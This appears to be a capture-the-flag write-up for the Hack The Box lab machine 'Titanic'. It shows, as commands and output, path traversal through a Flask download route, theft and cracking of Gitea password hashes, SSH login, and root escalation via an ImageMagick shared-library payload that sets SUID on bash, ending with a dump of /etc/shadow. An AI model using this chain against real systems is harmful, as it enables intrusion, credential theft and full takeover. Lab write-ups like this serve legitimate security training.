
Enum
$ export IP=
$ rustscan --ulimit 10000 -a $IP -- -sCTV -Pn
[~] Automatically increasing ulimit value to 10000.
Open 10.129.192.4:22
Open 10.129.192.4:80
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGZG4yHYcDPrtn7U0l+ertBhGBgjIeH9vWnZcmqH0cvmCNvdcDY/ItR3tdB4yMJp0ZTth5itUVtlJJGHRYAZ8Wg=
| 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDT1btWpkcbHWpNEEqICTtbAcQQitzOiPOmc3ZE0A69Z
80/tcp open http syn-ack Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://titanic.htb/
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
$ echo "$IP titanic.htb" | sudo tee -a /etc/hosts
gobuster to find subdomains
$ gobuster dns -d titanic.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Domain: titanic.htb
[+] Threads: 10
[+] Timeout: 1s
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
===============================================================
Starting gobuster in DNS enumeration mode
===============================================================
Found: dev.titanic.htb
Progress: 114441 / 114442 (100.00%)
===============================================================
Finished
===============================================================
- Add this to
/etc/hosts as well
$ echo "$IP dev.titanic.htb" | sudo tee -a /etc/hosts
gobuster this new endpoint as well
$ gobuster dir -u http://dev.titanic.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://dev.titanic.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.well-known/change-password (Status: 303) [Size: 49] [--> /user/settings/account]
/.well-known/openid-configuration (Status: 200) [Size: 1208]
/.well-known/security.txt (Status: 200) [Size: 340]
/admin (Status: 303) [Size: 38] [--> /user/login]
/administrator (Status: 200) [Size: 19998]
/developer (Status: 200) [Size: 25151]
/explore (Status: 303) [Size: 41] [--> /explore/repos]
/favicon.ico (Status: 301) [Size: 58] [--> /assets/img/favicon.png]
/issues (Status: 303) [Size: 38] [--> /user/login]
/notifications (Status: 303) [Size: 38] [--> /user/login]
/sitemap.xml (Status: 200) [Size: 285]
/v2 (Status: 401) [Size: 50]
Progress: 4723 / 4724 (99.98%)
===============================================================
Finished
===============================================================

from flask import Flask, request, jsonify, send_file, render_template, redirect, url_for, Response
import os
import json
from uuid import uuid4
app = Flask(__name__)
TICKETS_DIR = "tickets"
if not os.path.exists(TICKETS_DIR):
os.makedirs(TICKETS_DIR)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/book', methods=['POST'])
def book_ticket():
data = {
"name": request.form['name'],
"email": request.form['email'],
"phone": request.form['phone'],
"date": request.form['date'],
"cabin": request.form['cabin']
}
ticket_id = str(uuid4())
json_filename = f"{ticket_id}.json"
json_filepath = os.path.join(TICKETS_DIR, json_filename)
with open(json_filepath, 'w') as json_file:
json.dump(data, json_file)
return redirect(url_for('download_ticket', ticket=json_filename))
@app.route('/download', methods=['GET'])
def download_ticket():
ticket = request.args.get('ticket')
if not ticket:
return jsonify({"error": "Ticket parameter is required"}), 400
json_filepath = os.path.join(TICKETS_DIR, ticket)
if os.path.exists(json_filepath):
return send_file(json_filepath, as_attachment=True, download_name=ticket)
else:
return jsonify({"error": "Ticket not found"}), 404
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000)
- Unsanitzed ticket name → Test LFI
$ curl -s http://titanic.htb/download\?ticket\=../../../../etc/passwd | grep 'bash'
root:x:0:0:root:/root:/bin/bash
developer:x:1000:1000:developer:/home/developer:/bin/bash
User
- Successful LFI → Check Default Gitea locations
$ curl http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/conf/app.ini
*snip*
[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD =
LOG_SQL = false
SCHEMA =
SSL_MODE = disable
*snip*
- Grab
gitea.db to crack hashes
$ curl http://titanic.htb/download?ticket=../../../../../home/developer/gitea/data/gitea/gitea.db -o gitea.db
$ sqlite3 gitea.db "SELECT name, salt, passwd FROM user;"
administrator|2d149e5fbd1b20cf31db3e3c6a28fc9b|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136
developer|8bf3e3452b78544f8bee9400d6936d34|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56
- Remember HTB Compiled?
- (gitea.db → hashcat) ⇒ { HEX → B64 }
sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
$ hashcat 'sha256:50000:8bf3e3452b78544f8bee9400d6936d34:e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56' --wordlist /usr/share/wordlists/rockyou.txt
developer@titanic.htb : 25282528
$ sshpass -p '25282528' ssh developer@titanic.htb
developer@titanic:~$ cat user.txt
- Could also have LFI the user flag
$ curl -s http://titanic.htb/download\?ticket\=../../../../home/developer/user.txt
42c2fbc0bcad2a65d2aa7c0064b51df3
Root
developer@titanic:~$ ls -la /opt
total 20
drwxr-xr-x 5 root root 4096 Feb 7 10:37 .
drwxr-xr-x 19 root root 4096 Feb 7 10:37 ..
drwxr-xr-x 5 root developer 4096 Feb 7 10:37 app
drwx--x--x 4 root root 4096 Feb 7 10:37 containerd
drwxr-xr-x 2 root root 4096 Feb 7 10:37 scripts
developer@titanic:~$ ls -la /opt/scripts
total 12
drwxr-xr-x 2 root root 4096 Feb 7 10:37 .
drwxr-xr-x 5 root root 4096 Feb 7 10:37 ..
-rwxr-xr-x 1 root root 167 Feb 3 17:11 identify_images.sh
developer@titanic:~$ cat /opt/scripts/identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
developer@titanic:~$ /usr/bin/magick -version
- CVE-2024-41817
- Need to generate payload within
/opt/app/static/assets/images
$ developer@titanic:/opt/app/static/assets/images$ gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init() {
system("chmod +s /bin/bash");
}
EOF
- Takes a few seconds but eventually can see SUID set on
/bin/bash
- All we have to do is
bash -p once SUID is updated
developer@titanic:/opt/app/static/assets/images$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash
developer@titanic:/opt/app/static/assets/images$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14 2024 /bin/bash
developer@titanic:/opt/app/static/assets/images$ bash -p
bash-5.1$ id
uid=1000(developer) gid=1000(developer) euid=0(root) egid=0(root) groups=0(root),1000(developer)
bash-5.1$ ls /root
cleanup.sh images revert.sh root.txt snap
bash-5.1$ cat /etc/shadow
root:$y$j9T$FEVNYiA6DwY7GiuIjF42Y0$DqhzPlCnT7fI5E3c6LQ0Wx7ym/PhY0swKTKUczhwwv6:19937:0:99999:7:::
developer:$y$j9T$Sof1eV6yeubj9QaCTbzxd1$WsWRB9X8pgYiJozBaqsEsA/wJRjlWk6iKXv6VNG/fU5:19937:0:99999:7:::